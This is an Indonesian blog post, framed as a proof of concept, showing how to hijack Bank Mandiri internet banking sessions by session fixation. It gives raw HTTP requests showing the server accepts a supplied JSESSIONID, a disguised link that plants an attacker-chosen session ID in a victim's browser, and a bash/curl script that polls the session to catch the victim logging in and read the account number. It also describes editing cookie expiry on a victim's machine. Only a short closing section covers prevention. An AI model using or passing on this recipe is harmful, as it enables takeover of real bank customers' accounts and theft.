Label

4 STEP FOR YOUR BISNIS A SEARCH ENGINE OPTIMIZATION GUIDE ANALYSIS AND VIRUS DEFRAUDING ANTI VIRUS FROM INDONESIA ANTI VIRUS PCMAV FROM INDONESIA Apa HTTP dan HTTPS Apa Move Service Domain Aplikasi Excel Aplikasi Real Market Indonesia suatu Aplikasi berbasis Iphone dan Smatphone Arti Rekursi dan Proses Rekursi Artister Error upload template to blog Asian Konsultansi Online: Cara Menulis Arab pada Allah dan Rasul Bahasa Pemrograman C++ Bahasa Perintah pada Expert Advisor Mql4 BECOME A WEB MASTER Belajar Excel Belajar membuat EA atau Robot Forex Bing Yahoo dan Google Analytics Buku Wajib Bagi Trader Mahir Menganalisa Pergerakan Harga & Membuat EA Cara masang tombol Share Media Sosial Fb Twitter G+ dan lainnya Cara Memasang Aneka WIDGET di Website Cara memasang penangkal atau menyalurkan Petir Cara membuat Aplikasi berita terupdate dengan Visual Basic Cara Membuat Aplikasi Mobile dengan QT Cara membuat Aplikasi Mobile Iphone & Android Cara membuat Backup Image recovery OS Windows XP dan Windows 7 Cara Membuat Boot Flash Disk untuk penginstallan Awal Windows Cara Membuat Konten E-learning dengan Microsoft Cara membuat SITEMAP dan Apa itu SITEMAP Cara membuat Teks bergerak keatas dan kesamping Cara memindahkan domain blogspot ke domain yang lain Cara Mendapatkan ribuan backlinks gratis Cara mengetahui CNAME Domain pada Blog yang Hilang Cara mengetahui Gambar mempunyai hak cipta Cara mengetahui Kode Rahasia Domain (security Code) Cara menggunakan DDE SERVER di MT4 dan Excel Cara mengirim bertype Exe via gmail Cara Menguji Website bisa diakses di OS Mobile (HP) Cara Menyelamatkan data pada flashdisk dan Harddisk yang error Cara Mudah Belajar Cool Edit Pro Cara Mudah Membuat Widget Web Sendiri Code Warna warna HTML Dengan Aplikasi Whaff Ribuan Dollar diraih Download AVG Anti-Virus Free Edition Download Avira Free Antivirus Download Satu Aplikasi Chatting untuk android lengkap Download Template Blog yang keren ELEMEN DASAR C++ Excel Dasar Excel Mahir Excel Menengah Excel Terapan Excel VBA Forum Tanya Jawab Game Google Talk & Yahoo Messenger Hacking Mandiri Internet Banking How to do business online for beginner? IKUTI BEDAH BUKU "MAHIR MENGANALISA PERGERAKAN HARGA & MEMBUAT EA" Informasi-Programmer-Petualang-kuliner: Bahasa Pemograman C++ Buy dan sell Informasi-Programmer-Petualang-kuliner: Cara Memasukan Indikator MT4 Informasi-Programmer-Petualang-kuliner: Download Aplikasi Android SDK Informasi-Programmer-Petualang-kuliner: Download Aplikasi Connectify Hotspot Informasi-Programmer-Petualang-kuliner: Download RealVNC Remote Control Install Flash Player konten agar tidak di copy paste Logika EA Martil Perkalian bebas dan pemindahan Take Profit Mahir Menganalisa dan Membuat EA Mahir Menganalisa pergerakan harga dan Membuat EA Mandriva InstantOn Membuat Aplikasi Biodata Visi dan Misi Calon pemimpin Membuat EA atau Robot Trading secara Online Mendapatkan Dollar dengan Aplikasi Whaff MENGAPA MEMILIH BAHASA PEMOGRAMAN C + + Mengenai Teknologi Java Mengenal Visual Basic 6.0 Menjaring Password dengan Firefox Sniffer Menjaring Password KlikBCA dengan XSS OPERATOR DAN STATEMENT Optimalkan Seo dengan Search Engine google Panduan Dasar Microsoft WebMatrix Pelajaran Syntaq PHP mysql_info() & mysql_num_filed() Pelajaran Syntaq SQL Create Database & Table Pelajaran Syntax HTML <blockquote> & <bdo> Pelajaran Syntax HTML address area dan base Pelajaran Syntax HTML Button & Caption Pelajaran Syntax HTML del dir dan div Pelajaran Syntax HTML fieldset font form & frame Pelajaran Syntax HTML h1 head meta & menu Pelajaran Syntax HTML Kedua Pelajaran Syntax HTML noframes noscript & option Pelajaran Syntax HTML Script Select Strike & Span Pelajaran Syntax PHP asin() & acos() Pelajaran syntax PHP bindec() & decbin() Pelajaran Syntax PHP Do While & For Loop Pelajaran Syntax PHP executable readable & writable Pelajaran Syntax PHP fgets fgetc & file_exits Pelajaran Syntax PHP Fstat Fread COpy & Unlink Pelajaran Syntax PHP ftp_connect() & ftp_close() Pelajaran Syntax PHP ftp_delete() & ftp_exec() Pelajaran Syntax PHP ftp_quit() & ftp_rename() Pelajaran Syntax PHP getdate idate & strtotime Pelajaran Syntax PHP money_format() & number_format() Pelajaran Syntax PHP mysql_connect & Mysql_close() Pelajaran Syntax PHP mysql_fetch_lengths() & object() Pelajaran Syntax PHP mysql_result() & mysql_select_db() Pelajaran Syntax PHP rand() Pow() & echo() Pelajaran Syntax PHP Readfile Setcookie Unset & Mail Pelajaran Syntax PHP round() fmod() & exp() Pelajaran Syntax PHP set_exception_handler & Error_log Pelajaran Syntax PHP Struktur Dasar Pelajaran Syntax PHP trim() chop() atau rtrim() Pelajaran Syntax SQL dateDiff() & Date_Format() Pelajaran Syntax SQL Order By Like & Between Pelajaran Syntax SQL union & Alter Table Pelajaran Syntax SQL Update Delete & Left Join Pelajaran Syntax Visual basic MsgBox Pelajaran Visual Basic MsgBox & if then else Pelajaran Visual Basic Select Case & Len() Pelajaran Visual Basic Space$() & Replace() Pelajaran Visual Basic TimeSerial() & InputBox() Pelajaran Visual Basic WeekDay() & WeekDayName() Pengenalan Bahasa Pemograman JAVA Perjalanan Syntax HTML Table Textarea & Tittle RECEIVE BUSINESS SERVICES HACKING Rumus Excel STATEMENT CONTROL C++ Syntax HTML (Hypetext Markup Language Teknik Social Engineering Tentang Internet Information Services (IIS) The Ultimate Business Model for Newbies Variable dan Operator di Visual basic Video Cara Membuat Blog buat Adik-Adik Video Mahir menganalisa pergerakan harga dan membuat EA World of online business

Hacking Mandiri Internet Banking

Hacking Mandiri Internet Banking

Dalam artikel ini saya akan menggunakan jurus session fixation untuk membajak session internet banking Mandiri yang merupakan bank terbesar di tanah air. Detil mengenai session fixation attack bisa dibaca di artikel saya sebelumnya yang berjudul mengenal session fixation attack.

Session ID Bank Mandiri Internet Banking

Internet banking mandiri menggunakan sessionid yang disimpan dalam cookie dengan nama JSESSIONID. Sessionid ini sangat panjang dan acak, jadi tidak mungkin memakai jurus prediction untuk mendapatkan sessionid. Contoh sessionid bank mandiri adalah:

JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!5684546
85!-1062708981!7668!7002
Fixate sessionid yang dipilih sendiri dengan query string

Untuk  memastikan  apakah  internet  banking  mandiri  bisa  diserang  dengan  session fixation, saya akan coba memasukkan query string JSESSIONID berisi string yang saya pilih sendiri. Saya coba dengan query string JSESSIONID=01234567890. Berikut adalah request dan response yang terjadi.

1 https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=0
2 1234567890
3
4 GET /retail/Login.do?action=form&JSESSIONID=01234567890 HTTP/1.1
5 Host: ib.bankmandiri.co.id
6 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5)
7 Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
8 Accept:
9 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
1 Accept-Language: id,en-us;q=0.7,en;q=0.3
0 Accept-Encoding: gzip,deflate
1 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
1 Keep-Alive: 300
1 Connection: keep-alive
2
1 HTTP/1.x 200 OK
3 Date: Mon, 02 Feb 2009 23:28:58 GMT
1 Pragma: no-cache
4 Content-Encoding: gzip
1 Content-Length: 3822
5 Content-Type: text/html
1 Expires: -1
6 Transfer-Encoding: Chunked
1 Set-Cookie:
7 JSESSIONID=JHB9fR0rxOD53jgT3h1x57kAmFAqo8s2fp28UZvDxs2zLupl0s1Q!56845
1 4685!-1062708981!7668!7002; path=/
8 Cache-Control: no-cache
1
9
2
0
2
1
2
2
Ternyata usulan ditolak mentah-mentah oleh server, hal ini terlihat dari responsenya yang memberikan sessionid dalam bentuk cookie pada baris ke-21. Dari response tersebut juga bisa diambil kesimpulan bahwa server bank mandiri lebih suka memakai cookie sehingga bila ada client yang memberikan sessionid dalam query string, dibalas dengan header Set-Cookie. Ini pertanda bagus karena cookie yang diberikan pada korban akan memudahkan serangan saya.

Fixate sessionid yang dibangkitkan server dengan query string

Oke, setelah gagal mengusulkan sessionid sembarangan dengan query string. Saya akan coba lagi dengan sessionid yang dibangkitkan server. Untuk itu sebelumnya saya harus meminta server memberikan sessionid. Dalam contoh ini saya akan gunakan sessionid yang sudah saya minta sebelumnya, yaitu:
JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!5684546
85!-1062708981!7668!7002
Sessionid ini akan di kirimkan dalam request dalam bentuk query string. Sebelumnya cookie yang ada harus dihapus karena cookie memiliki prioritas lebih dibanding query string dalam hal sessionid. Berikut request dan response yang terjadi.
1
2
3 https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JH
4 Ab6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-
5 1062708981!7668!7002
6
7
8 GET
9 /retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9v
1 hMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002 HTTP/1.1
0 Host: ib.bankmandiri.co.id
1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5)
1 Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
1 Accept:
2 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
1 Accept-Language: id,en-us;q=0.7,en;q=0.3
3 Accept-Encoding: gzip,deflate
1 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
4 Keep-Alive: 300
1 Connection: keep-alive
5
1 HTTP/1.x 200 OK
6 Date: Mon, 02 Feb 2009 23:37:42 GMT
1 Pragma: no-cache
7 Content-Encoding: gzip
1 Content-Length: 3824
8 Content-Type: text/html
1 Expires: -1
9 Transfer-Encoding: Chunked
2 Set-Cookie:
0 JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454
2 685!-1062708981!7668!7002; path=/
1 Cache-Control: no-cache
2
2
Hore berhasil. Pada response server ternyata menyetujui untuk memakai sessionid yang diusulkan melalui query string. Tidak hanya itu, server malah membantu saya dengan membuat cookie dengan isi sessionid usulan saya. Jadi pada request berikutnya tidak perlu menambahkan query string karena sudah otomatis cookie terkirimkan. Ini adalah kondisi yang sempurna untuk serangan fixation attack karena serangan bisa dilakukan secara remote dan session cookie akan tercipta otomatis di browser korban.

Skenario Serangan

Skenario serangan menggunakan jurus session fixation pada Mandiri Internet banking ini adalah:

1.   Attacker mengirimkan link kepada calon korban.

<a target="_blank" href="https://ib.bankmandiri.co.id/retail/Login.do?action=form&JS

ESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568
454685!-1062708981!7668!7002"> Klik Dong</a>

Perhatikan link tersebut baik-baik. Link tersebut tidak tampak mencurigakan seperti phishing link. Pengguna yang teliti akan memeriksa link tersebut:

o   Apakah domainnya benar? Benar! Domain link tersebut ib.bankmandiri.co.id
o  Apakah pakai https? Benar! URL tersebut diawali dengan https
o  Apakah pathnya benar? Benar! Path URL tersebut adalah /retail/Login.do

Karena semuanya benar, calon korban akan yakin bahwa itu bukan link phishing berisi fake login page. Padahal sebenarnya link itu mengandung jebakan sessionid fixation. Dan sayangnya tidak pernah ada informasi tentang bahaya ini dari bank yang bersangkutan.

2.   Korban mengklik link tersebut.

Pada saat korban mengklik link tersebut, maka korban telah terjebak menggunakan sessionid yang sudah disiapkan oleh attacker. Pada browser korban akan tercipta sebuah cookie JSESSIONID yang berisi sessionid. Sehingga semua request dari browser korban ke bank mandiri internet banking selalu
menggunakan sessionid tersebut.

Untuk coba-coba silakan anda buka link tersebut, kemudian periksa cookie anda. Apakah benar ada cookie berisi sessionid yang isinya sama dengan yang attacker inginkan?

3.   Korban login

Setelah korban membuka halaman login, selanjutnya korban akan memasukkan username dan passwordnya. Bila login sukses, maka korban bisa mengakses accountnya, dan begitu pula attacker karena keduanya berbagi sessionid yang sama.

4.   Attacker mengakses account korban

Karena korban dan attacker menggunakan sessionid yang sama, server menganggap attacker dan korban adalah orang yang sama, yaitu pemegang account yang sah. Nun jauh di sana, attacker selalu memeriksa status session yang sessionidnya diberikan pada korban. Begitu korban berhasil login, pada saat itu juga attacker akan mengakses account korban.

Bahayanya serangan ini adalah serangan ini bisa memakan banyak korban. Ingat bahwa setelah korban selesai memakai accountnya, dia akan logout. Pada titik ini attacker tidak bisa lagi mengakses account korban. Tapi jangan lupa bahwa cookie berisi sessionid

masih ada di browser korban, sehingga setiap kali ada request dari browser itu akan menggunakan sessionid yang sudah ditentukan attacker. Bila ada korban lain memakai browser itu dan login ke mandiri juga, maka orang itu juga akan menjadi korban.

Session Status Checker

Agar session tidak expired, attacker harus melakukan request terus menerus dengan sessionid itu, dengan begini server akan berpikir bahwa sessionid tersebut masih aktif dipakai. Di komputer lain saya telah membuat script sederhana untuk memeriksa status session dengan sessionid tertentu, statusnay apakah “Dead” (tidak ada yang login) atau “Alive” (sedang dipakai orang dan belum logout).
#!/bin/bash
while [ true ] ; do
1 NOREK=`curl -s
2 "https://ib.bankmandiri.co.id/retail/Welcome.do?action=result" -b
3 kue.txt |grep '<td align="center" height="25" bgcolor="#DDF2FA">[0-
4 9]*</td>'|cut -f2 -d">"|cut -f1 -d"<"`
5 if [ -z "$NOREK" ]
6 then
7         echo "Dead"
8 else
9         echo "Alive, Norek: $NOREK"
10
11 fi
sleep 10
done
Script tersebut memerlukan cookie yang disimpan dalam file kue.txt. File tersebut menyimpan cookie yang akan dikirim pada setiap request. File tersebut mengikuti format dari curl. Agar mudah, sebelumnya saya sengaja meminta cookie dengan curl ke ib.bankmandiri.co.id dan menyimpannya di file kue.txt, kemudian file tersebut saya edit dengan mengganti sessionidnya dengan sessionid yang saya target. Saya memasukkan sessionid yang sama dengan yang saya pakai dalam contoh-contoh sebelumnya di atas, yaitu :
JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-
1062708981!7668!7002



Mandiri check session
Perhatikan pada gambar di atas, script saya akan looping terus untuk mengirim request dengan cookie berisi sessionid. Bila halaman “/retail/Welcome.do?action=result” berisi “Nomor Rekening”, berarti sessionid tersebut sedang dipakai oleh seseorang.

Perhatikan juga bahwa server bank mandiri tidak peduli dengan fakta bahwa ada 2 request dari ip address dan user agent yang berbeda. Script tersebut dijalankan di Linux dengan IP address yang berbeda dengan request yang dilakukan dari browser korban. Karena request dilakukan dengan curl, maka user agent headernya pun berbeda dengan browser korban. Tapi server tidak peduli dengan semua perbedaan itu, selama request yang datang membawa cookie berisi sessionid yang benar, maka dia berhak mendapatkan akses.

Di internet, siapapun yang membawa sessionid anda, akan menjadi anda!

Pada gambar tersebut juga terlihat bahwa korban bisa login atau logout berkali-kali, namun tetap menjadi korban attacker. Hal ini terjadi karena cookie berisi sessionid masih tetap ada di browser korban walaupun korban sudah logout. Jadi kalau ada yang login lagi, maka dia juga akan memakai sessionid yang sama.

Modifikasi Cookie Expired Date secara Lokal


Modified expired date

Kelemahan dari serangan remote di atas adalah batas waktu cookie adalah hingga browser ditutup. Begitu browser ditutup, cookie yang expired akan dihapus. Bila attacker memiliki akses fisik, maka akibat serangannya akan semakin dahsyat. Attacker akan memodifikasi tanggal expired session cookie pada browser korban. Tanggal expirednya akan diubah menjadi tahun 2099 misalnya, sehingga cookie tersebut akan tetap ada sampai 2099. Dengan begini semua orang yang login dengan browser itu di komputer itu akan menjadi korban attacker nun jauh di sana yang selalu sabar menanti dengan script session checkernya.

Tips Pencegahan

Sederhana saja cara untuk mencegah agar tidak terkena jebakan batman dari attacker. Sebelum login ke halaman internet banking mandiri, hapus semua cookie yang ada dan query string yang mengandung sessionid. Dengan cara ini sessionid yang dipakai adalah sessionid yang diberi oleh server yang tidak diketahui attacker.

Kesimpulan
Ini menunjukkan proof of concept serangan session fixation pada internet banking mandiri. Serangan ini sangat berbahaya karena bisa diserang dari jarak jauh dan korbannya tidak hanya satu orang, tapi semua orang yang login di browser dan komputer yang sama. Sayangnya serangan ini tidak setenar SQL injection atau XSS, padahal serangan ini sama berbahayanya sehingga orang banyak yang tidak aware dengan ancaman ini.

Serangan ini juga tipe serangan yang tidak bisa dicegah dengan https karena serangan ini berada di layer aplikasi. Jadi logic aplikasinya yang harus diperbaiki, bukan pada level protokol https.

By Rizki Wicaksono

0 Response to "Hacking Mandiri Internet Banking "

Posting Komentar